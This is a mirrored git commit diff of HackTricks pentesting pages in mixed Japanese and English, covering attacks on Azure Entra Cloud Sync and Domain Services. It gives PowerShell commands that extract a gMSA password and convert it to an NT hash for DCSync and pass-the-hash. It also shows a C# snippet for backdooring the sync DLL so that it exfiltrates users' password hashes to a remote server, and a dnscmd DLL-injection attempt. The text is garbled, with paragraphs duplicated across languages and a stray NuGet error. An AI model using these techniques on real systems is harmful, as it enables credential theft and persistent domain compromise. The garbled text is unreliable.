mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-lateral-movement
This commit is contained in:
@@ -2,55 +2,57 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## 基本情報
|
||||
|
||||
**Cloud Sync** は、Azure が **AD から Entra ID にユーザーを同期させる新しい方法** です。
|
||||
**Cloud Sync** は基本的に Azure が AD から Entra ID へユーザーを同期するための新しい方法です。
|
||||
|
||||
[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync は、ユーザー、グループ、および連絡先を Microsoft Entra ID に同期させるためのハイブリッドアイデンティティ目標を達成するために設計された Microsoft の新しい提供物です。これは、Microsoft Entra Connect アプリケーションの代わりに Microsoft Entra クラウドプロビジョニングエージェントを使用して実現されます。ただし、Microsoft Entra Connect Sync と併用することもできます。
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync は、ユーザー、グループ、および連絡先を Microsoft Entra ID に同期するというハイブリッドアイデンティティの目標を満たすために設計された Microsoft の新しいオファリングです。これは Microsoft Entra Connect アプリケーションの代わりに Microsoft Entra cloud provisioning agent を使用して実現します。ただし、Microsoft Entra Connect Sync と併用して使用することもできます。
|
||||
|
||||
### 生成されるプリンシパル
|
||||
|
||||
これが機能するためには、Entra ID とオンプレミスディレクトリの両方にいくつかのプリンシパルが作成されます。
|
||||
この仕組みを動作させるために、Entra ID とオンプレミスディレクトリの両方にいくつかのプリンシパルが作成されます:
|
||||
|
||||
- Entra ID では、ユーザー `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) が **`Directory Synchronization Accounts`** の役割 (`d29b2b05-8046-44ba-8758-1e26182fcf32`) で作成されます。
|
||||
- In Entra ID the user `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) is created with the role **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
|
||||
|
||||
> [!WARNING]
|
||||
> この役割は多くの特権的な権限を持っており、[**グローバル管理者への権限昇格に使用できた**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b) が、Microsoft はこの役割のすべての権限を削除し、新しい **`microsoft.directory/onPremisesSynchronization/standard/read`** のみを割り当てました。これにより、ユーザーのパスワードや属性を変更したり、SP に新しい資格情報を追加したりする特権的なアクションを実行することはできません。
|
||||
> This role used to have a lot of privileged permissions and it could be used to [**escalate privileges even to global admin**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). However, Microsoft decided to remove all the privileges of this role and assign it just a new one **`microsoft.directory/onPremisesSynchronization/standard/read`** which doesn't really allow to perform any privileged action (like modifying the password or atribbutes of a user or adding a new credential to a SP).
|
||||
|
||||
- Entra ID では、メンバーや所有者のいないグループ **`AAD DC Administrators`** も作成されます。このグループは [`Microsoft Entra Domain Services`](./az-domain-services.md) を使用する場合に便利です。
|
||||
- In Entra ID also the group **`AAD DC Administrators`** is created without members or owners. This group is useful if [`Microsoft Entra Domain Services`](./az-domain-services.md) is used.
|
||||
|
||||
- AD では、サービスアカウント **`provAgentgMSA`** が **`pGMSA_<id>$@domain.com`** のような SamAccountName で作成されるか、[**これらの権限が必要な**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account)カスタムのものが作成されます。通常、デフォルトのものが作成されます。
|
||||
- In the AD, either the Service Account **`provAgentgMSA`** is created with a SamAcountName like **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), or a custom one with [**these permissions is needed**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Usually the default one is created.
|
||||
|
||||
> [!WARNING]
|
||||
> 他の権限の中で、サービスアカウント **`provAgentgMSA`** は DCSync 権限を持っており、**それを侵害した者はディレクトリ全体を侵害することができます**。DCSync についての詳細は、[こちらを確認してください](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html)。
|
||||
> Among other permissions the Service Account **`provAgentgMSA`** has DCSync permissions, allowing **anyone that compromises it to compromise the whole directory**. For more information about [DCSync check this](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
|
||||
|
||||
> [!NOTE]
|
||||
> デフォルトでは、**`adminCount`** 属性が 1 の既知の特権グループのユーザーは、セキュリティ上の理由から Entra ID と同期されません。ただし、この属性を持たない特権グループの他のユーザーや、直接高い権限が割り当てられたユーザーは **同期される可能性があります**。
|
||||
> By default users of known privileged groups like Domain Admins with the attribute **`adminCount` to 1 are not synchronized** with Entra ID for security reasons. However, other users that are part of privileged groups without this attribute or that are assigned high privileges directly **can be synchronized**.
|
||||
|
||||
## パスワード同期
|
||||
|
||||
このセクションは以下の内容に非常に似ています:
|
||||
このセクションは以下のセクションと非常によく似ています:
|
||||
|
||||
{{#ref}}
|
||||
az-connect-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **パスワードハッシュ同期** を有効にすると、ユーザーは **AD のパスワードを使用して Entra ID にログインできる** ようになります。さらに、AD でパスワードが変更されると、Entra ID にも更新されます。
|
||||
- **パスワード書き戻し** も有効にでき、ユーザーが Entra ID でパスワードを変更すると、自動的にオンプレミスドメインにパスワードが同期されます。ただし、[現在のドキュメント](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback)によると、これには Connect Agent を使用する必要があるため、[Az Connect Sync セクション](./az-connect-sync.md)を参照してください。
|
||||
- **グループ書き戻し**: この機能により、Entra ID のグループメンバーシップがオンプレミス AD に同期されます。つまり、ユーザーが Entra ID のグループに追加されると、AD の対応するグループにも追加されます。
|
||||
- **Password hash synchronization** を有効にすると、ユーザーは AD のパスワードを使用して **Entra ID にログイン** できるようになります。さらに、AD でパスワードが変更されると、それが Entra ID にも更新されます。
|
||||
- **Password writeback** も有効にでき、ユーザーが Entra ID でパスワードを変更するとオンプレミスドメインのパスワードが自動的に同期されます。ただし、[current docs](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback) によると、これには Connect Agent の使用が必要です。詳細は [Az Connect Sync section](./az-connect-sync.md) を参照してください。
|
||||
- **Groups writeback**: この機能は Entra ID のグループメンバーシップをオンプレミスの AD に同期することを可能にします。つまり、Entra ID でユーザーがグループに追加されると、対応する AD のグループにも追加されます。
|
||||
|
||||
## ピボッティング
|
||||
|
||||
## Pivoting
|
||||
|
||||
### AD --> Entra ID
|
||||
|
||||
- AD ユーザーが AD から Entra ID に同期されている場合、AD から Entra ID へのピボッティングは簡単です。**ユーザーのパスワードを侵害するか、ユーザーのパスワードを変更するか、新しいユーザーを作成して Entra ID ディレクトリに同期されるのを待つだけです(通常は数分)**。
|
||||
- AD のユーザーが AD から Entra ID に同期されている場合、AD から Entra ID へのピボットは簡単です。単に **あるユーザーのパスワードを奪取する、パスワードを変更する、または新しいユーザーを作成して Entra ID ディレクトリに同期されるのを待つ(通常は数分程度)** だけです。
|
||||
|
||||
例えば、次のようにできます。
|
||||
- **`provAgentgMSA`** アカウントを侵害し、DCSync 攻撃を実行し、ユーザーのパスワードを解読して、それを使用して Entra ID にログインします。
|
||||
- AD に新しいユーザーを作成し、それが Entra ID に同期されるのを待ってから、それを使用して Entra ID にログインします。
|
||||
- AD のユーザーのパスワードを変更し、それが Entra ID に同期されるのを待ってから、それを使用して Entra ID にログインします。
|
||||
例えば以下のような方法が考えられます:
|
||||
- サービスアカウント **`provAgentgMSA`** を奪取し、DCSync 攻撃を実行してあるユーザーのパスワードを解析し、それを使って Entra ID にログインする。
|
||||
- AD に新しいユーザーを作成し、Entra ID に同期されるのを待ってから、そのユーザーで Entra ID にログインする。
|
||||
- AD のあるユーザーのパスワードを変更し、Entra ID に同期されるのを待ってから、そのユーザーで Entra ID にログインする。
|
||||
|
||||
**`provAgentgMSA`** の資格情報を侵害するには:
|
||||
To compromise the **`provAgentgMSA`** credentials:
|
||||
```powershell
|
||||
# Enumerate provAgentgMSA account
|
||||
Get-ADServiceAccount -Filter * -Server domain.local
|
||||
@@ -72,22 +74,22 @@ $Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-Man
|
||||
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
|
||||
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
|
||||
```
|
||||
今、gMSAのハッシュを使用して、`provAgentgMSA`アカウントを介してEntra IDに対してPass-the-Hash攻撃を実行し、ADに対してDCSync攻撃を行うための永続性を維持することができます。
|
||||
Now you could use the hash of the gMSA to perform a Pass-the-Hash attack against Entra ID using the `provAgentgMSA` account and maintain persistence being able to perform DCSync attacks against the AD.
|
||||
|
||||
Active Directoryを侵害する方法についての詳細は、以下を確認してください:
|
||||
For more information about how to compromise an Active Directory check:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> AzureまたはEntraIDの役割を属性に基づいて同期されたユーザーに付与する方法はありません。たとえば、Cloud Syncの設定ではそうです。しかし、同期されたユーザーに自動的に権限を付与するために、**ADからのいくつかのEntra IDグループ**に権限が付与される可能性があるため、これらのグループ内の同期されたユーザーもそれを受け取るか、**動的グループが使用される可能性があります**。したがって、常に動的ルールとそれを悪用する潜在的な方法を確認してください:
|
||||
> 注意: Cloud Sync の設定などでは、属性に基づいて同期ユーザーに Azure や EntraID のロールを付与する方法はありません。ただし、同期ユーザーに自動的に権限を付与するために **Entra ID groups from AD** に権限が与えられている場合、そのグループ内の同期ユーザーも同じ権限を受け取る可能性があるか、または **dynamic groups might be used** ため、常に dynamic rules と悪用の可能性を確認してください。
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
永続性に関しては、[このブログ投稿](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html)は、**`C:\Program Files\Microsoft Azure AD Sync\Bin`**にあるdll **`Microsoft.Online.Passwordsynchronisation.dll`**をバックドアするために[**dnSpy**](https://github.com/dnSpy/dnSpy)を使用することが可能であると示唆しています。このdllはCloud Syncエージェントによってパスワード同期を実行するために使用され、同期されるユーザーのパスワードハッシュをリモートサーバーに流出させるようにします。ハッシュは**`PasswordHashGenerator`**クラス内で生成され、ブログ投稿では、クラスが次のようになるようにコードを追加することを提案しています(`use System.Net`と`WebClient`を使用してパスワードハッシュを流出させることに注意してください):
|
||||
Regarding persistence [this blog post](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) suggest that it's possible to use [**dnSpy**](https://github.com/dnSpy/dnSpy) to backdoor the dll **`Microsoft.Online.Passwordsynchronisation.dll`** located in **`C:\Program Files\Microsoft Azure AD Sync\Bin`** that is used by the Cloud Sync agent to perform the password synchronization making it exfiltrate the password hashes of the users being synchronized to a remote server. The hashes are generated inside the class **`PasswordHashGenerator`** and the blog post suggest adding some code so the class looks like (note the `use System.Net` and the `WebClient` usage to exfiltrate the password hashes):
|
||||
```csharp
|
||||
using System;
|
||||
using System.Net;
|
||||
@@ -121,22 +123,16 @@ RawHash = passwordHashData.RawHash
|
||||
}
|
||||
}
|
||||
```
|
||||
NuGet パッケージの復元がプロジェクト AzTokenFinder に対して失敗しました: パッケージ 'System.Security.Cryptography.X509Certificates' のバージョン '4.3.2' が見つかりません。
|
||||
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: パッケージ 'System.Security.Cryptography.X509Certificates.4.3.2' はソース 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\' に見つかりませんでした。
|
||||
詳細な警告とエラーについては、エラーリストウィンドウを参照してください。
|
||||
|
||||
|
||||
|
||||
### Entra ID --> AD
|
||||
|
||||
- **Password Writeback** が有効になっている場合、Entra ID からいくつかのユーザーのパスワードを変更でき、AD ネットワークにアクセスできる場合は、それを使用して接続できます。詳細については、パスワードの書き戻しがそのエージェントを使用して構成されているため、[Az Connect Sync セクション](./az-connect-sync.md)を確認してください。
|
||||
- If **Password Writeback** is enabled, you could modify the password of some users from Entra ID and if you have access to the AD network, connect using them. For more info check the [Az Connect Sync section](./az-connect-sync.md) section for more information as the password writeback is configured using that agent.
|
||||
|
||||
- 現時点では Cloud Sync は **"Microsoft Entra ID to AD"** を許可していますが、長い時間が経った後、EntraID ユーザーを AD に同期できず、パスワードハッシュで同期された EntraID ユーザーのみを同期できることがわかりました。また、同期先のドメインと同じドメインフォレストに属するドメインから来る必要があります。詳細は [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits) を参照してください:
|
||||
- At this point in time Cloud Sync also allows **"Microsoft Entra ID to AD"**, but after too much time I found that it CANNOT synchronize EntraID users to AD and that it can only synchronize users from EntraID that were synchronized with the password hash and come from a domain that belong to the same domain forest as the domain we are synchronizing to as you can read in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
|
||||
> - これらのグループには、オンプレミスで同期されたユーザーおよび/または追加のクラウドで作成されたセキュリティグループのみを含めることができます。
|
||||
> - 同期され、このクラウドで作成されたセキュリティグループのメンバーであるオンプレミスのユーザーアカウントは、同じドメインまたはクロスドメインからであってもかまいませんが、すべて同じフォレストからでなければなりません。
|
||||
> - これらのグループには、オンプレミスで同期されたユーザーおよび/または追加でクラウド側で作成されたセキュリティグループのみが含まれます。
|
||||
> - 同期され、このクラウドで作成されたセキュリティグループのメンバーであるオンプレミスのユーザーアカウントは、同一ドメインまたはクロスドメインのものでもよいですが、いずれも同一フォレストに属している必要があります。
|
||||
|
||||
したがって、このサービスの攻撃面(および有用性)は大幅に減少します。攻撃者は、他のドメインのユーザーを侵害するために、ユーザーが同期されている初期の AD を侵害する必要があります(両方が同じフォレストに存在する必要があるようです)。
|
||||
So the attack surface (and usefulness) of this service is greatly reduced as an attacker would need to compromise the initial AD from where the users are being synchronized in order to compromise a user in the other domain (and both must be in the same forest apparently).
|
||||
|
||||
|
||||
### Enumeration
|
||||
|
||||
@@ -2,27 +2,27 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ドメインサービス
|
||||
## Domain Services
|
||||
|
||||
Microsoft Entra Domain Services は、ドメインコントローラーを管理することなく Azure 上に Active Directory をデプロイできるようにします(実際にはそれらにアクセスさえできません)。
|
||||
Microsoft Entra Domain Services を使用すると、Domain Controllers を管理する必要なく Azure に Active Directory をデプロイできます(実際にはこれらにアクセスできません)。
|
||||
|
||||
主な目的は、最新の認証方式を使用できないレガシーアプリケーションをクラウドで実行したり、ディレクトリ照会が常にオンプレミスの AD DS 環境に戻ることを望まない場合に対応することです。
|
||||
主な目的は、モダンな認証方式を使用できないレガシーアプリケーションをクラウド上で動作させたり、ディレクトリ照会を常にオンプレの AD DS 環境に戻したくない場合に対応することです。
|
||||
|
||||
注意:Entra ID(他の Active Directory から同期されていないもの)で生成されたユーザーを AD ドメインサービスに同期するには、ユーザーのパスワードを新しいものに **変更する** 必要があり、それによって新しい AD と同期されます。実際には、パスワードが変更されるまで Microsoft Entra ID から Domain Services へユーザーは同期されません。
|
||||
Note that in order to synchronize the users generated in Entra ID (and not synchronized from other active directories) to the AD domain service you need to **change the password of the user** to a new one so it can be synchronized with the new AD. Actually, the user isn't synchronized from Microsoft Entra ID to Domain Services until the password is changed.
|
||||
|
||||
> [!WARNING]
|
||||
> 新しい Active Directory ドメインを作成しても(何らかのミスコンフィグを悪用しない限り)完全に管理することはできません。つまり、デフォルトでは例えば AD に直接ユーザーを作成することはできません。ユーザーは **Entra ID から同期して作成** します。すべてのユーザー(他のオンプレミス AD から同期されたものも含む)、クラウドユーザーのみ(Entra ID で作成されたユーザー)、あるいはさらに **絞り込んで同期** するよう指定できます。
|
||||
> 新しい Active Directory ドメインを作成しても(いくつかのミスコンフィギュレーションを悪用しない限り)完全には管理できません。つまり、デフォルトでは例えば AD に直接ユーザーを作成できません。ユーザーは **Entra ID からユーザーを同期することで作成します。** すべてのユーザー(他のオンプレミス AD から同期されたものを含む)を同期するか、クラウドユーザーのみ(Entra ID で作成されたユーザー)を同期するか、あるいは**さらにフィルタリング**することも指定できます。
|
||||
|
||||
> [!NOTE]
|
||||
> 一般的に、新しいドメインの設定の柔軟性が乏しいことや AD が通常既にオンプレミスに存在することから、これは Entra ID と AD の主要な統合方法ではありませんが、侵害する方法を知るうえでは興味深いです。
|
||||
> 一般的に、新ドメインの設定の柔軟性が低く、AD は通常すでにオンプレに存在するため、これは Entra ID と AD の主要な統合方法ではありません。それでも、この仕組みをどのように侵害できるかを知るのは興味深いです。
|
||||
|
||||
### Pivoting
|
||||
|
||||
生成された **`AAD DC Administrators`** グループのメンバーは、ローカル administrators グループに追加されるため、managed domain にドメイン参加している VM に対してローカル管理者権限が付与されます(ただしドメインコントローラー上ではありません)。このグループのメンバーは **Remote Desktop を使ってドメイン参加済みの VM にリモート接続** することもでき、以下のグループのメンバーでもあります:
|
||||
生成される **`AAD DC Administrators`** グループのメンバーは、ローカル administrators グループに追加されるため、managed domain にドメイン参加している VM(ただし domain controllers ではない)でローカル管理者権限を付与されます。このグループのメンバーは **Remote Desktop を使ってドメイン参加している VM にリモート接続** することもでき、以下のグループのメンバーでもあります:
|
||||
|
||||
- **`Denied RODC Password Replication Group`**: これは、RODCs(Read-Only Domain Controllers)上でパスワードをキャッシュできないユーザーやグループを指定するグループです。
|
||||
- **`Group Policy Creators Owners`**: このグループのメンバーはドメイン内で Group Policies を作成できます。ただし、ユーザーやグループに対して Group Policy を適用したり既存の GPO を編集することはできないため、この環境ではあまり重要ではありません。
|
||||
- **`DnsAdmins`**: このグループは DNS 設定の管理を許可し、過去に[特権昇格とドメインの侵害](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins)に悪用されたことがあります。しかしこの環境で攻撃をテストしたところ、その脆弱性は修正されていることが確認されました:
|
||||
- **`Denied RODC Password Replication Group`**: このグループは、パスワードを RODC (Read-Only Domain Controllers) にキャッシュできないユーザーやグループを指定します。
|
||||
- **`Group Policy Creators Owners`**: このグループはメンバーにドメイン内で Group Policies を作成することを許します。ただしメンバーはユーザーやグループへ group policies を適用したり、既存の GPO を編集したりできないため、この環境ではあまり興味深くありません。
|
||||
- **`DnsAdmins`**: このグループは DNS 設定を管理することを許可し、過去には [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), however after testing the attack in this environment it was checked that the vulnerability is patched:
|
||||
```text
|
||||
dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
|
||||
|
||||
@@ -30,16 +30,25 @@ DNS Server failed to reset registry property.
|
||||
Status = 5 (0x00000005)
|
||||
Command failed: ERROR_ACCESS_DENIED 5 0x5
|
||||
```
|
||||
Note that to grant these permissions, inside the AD the group **`AAD DC Administrators`** group is made a member of the previous groups, and also the GPO **`AADDC Computers GPO`** is adding as Local Administrators all the members of the domain group **`AAD DC Administrators`**.
|
||||
Note that to grant these permissions, inside the AD, the group **`AAD DC Administrators`** group is made a member of the previous groups, and also the GPO **`AADDC Computers GPO`** is adding as Local Administrators all the members of the domain group **`AAD DC Administrators`**.
|
||||
|
||||
Entra ID から Domain Services で作成された AD へピボットするのは簡単です。ユーザーをグループ **`AAD DC Administrators`** に追加し、ドメイン内の任意/すべてのマシンに RDP でアクセスすれば、データを盗むことや **compromise the domain.**
|
||||
これらの権限を付与するために、AD 内ではグループ **`AAD DC Administrators`** が前述のグループのメンバーに追加され、さらに GPO **`AADDC Computers GPO`** がドメイングループ **`AAD DC Administrators`** の全メンバーをローカル管理者として追加しています。
|
||||
|
||||
しかし、ドメインから Entra ID へピボットするのは容易ではありません。ドメイン側の情報は Entra ID に同期されていないためです。ただし、参加しているすべての VMs のメタデータを常に確認してください。割り当てられた managed identities が興味深い権限を持っている可能性があります。また、**dump all the users passwords from the domain** を行い、それらを crack してから Entra ID / Azure にログインを試みてください。
|
||||
Pivoting from Entra ID to an AD created with Domain Services is straightforward, just add a user into the group **`AAD DC Administrators`**, access via RDP to any/all the machines in the domain and you will be able to steal data and also **compromise the domain.**
|
||||
|
||||
Entra ID から Domain Services で作成された AD へのピボットは簡単です。ユーザーをグループ **`AAD DC Administrators`** に追加し、ドメイン内の任意/全てのマシンに RDP でアクセスすれば、データを窃取し、ドメインを**乗っ取る**ことができます。
|
||||
|
||||
However, pivoting from the domain to Entra ID is not as easy as nothing from the domain is being synchronized into Entra ID. However, always check the metadata of all the VMs joined as their assigned managed identities might have interesting permissions. Also **dump all the users passwords from the domain** and try to crack them to then login into Entra ID / Azure.
|
||||
|
||||
しかし、ドメインから Entra ID へピボットするのは容易ではありません。ドメインから Entra ID に同期されるものが何もないためです。ただし、参加している全ての VMs のメタデータは必ず確認してください。割り当てられた managed identities が興味深い権限を持っている可能性があります。また、**dump all the users passwords from the domain** を行い、それらをクラッキングして Entra ID / Azure にログインを試みてください。
|
||||
|
||||
> [!NOTE]
|
||||
> Note that in the past other vulnerabilities in this managed AD were found that allowed to compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). An attacker compromising the DC could very easily maintain persistence without the Azure admins noticing or even being able to remove it.
|
||||
|
||||
### 列挙
|
||||
> [!NOTE]
|
||||
> 過去にこの managed AD で DC を侵害できる他の脆弱性が発見されている点に注意してください、[like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com)。DC を侵害した攻撃者は、Azure 管理者が気付かない、あるいは排除できないまま簡単に持続性を維持できます。
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
# Get configured domain services domains (you can add more subs to check in more subscriptions)
|
||||
az rest --method post \
|
||||
|
||||
Reference in New Issue
Block a user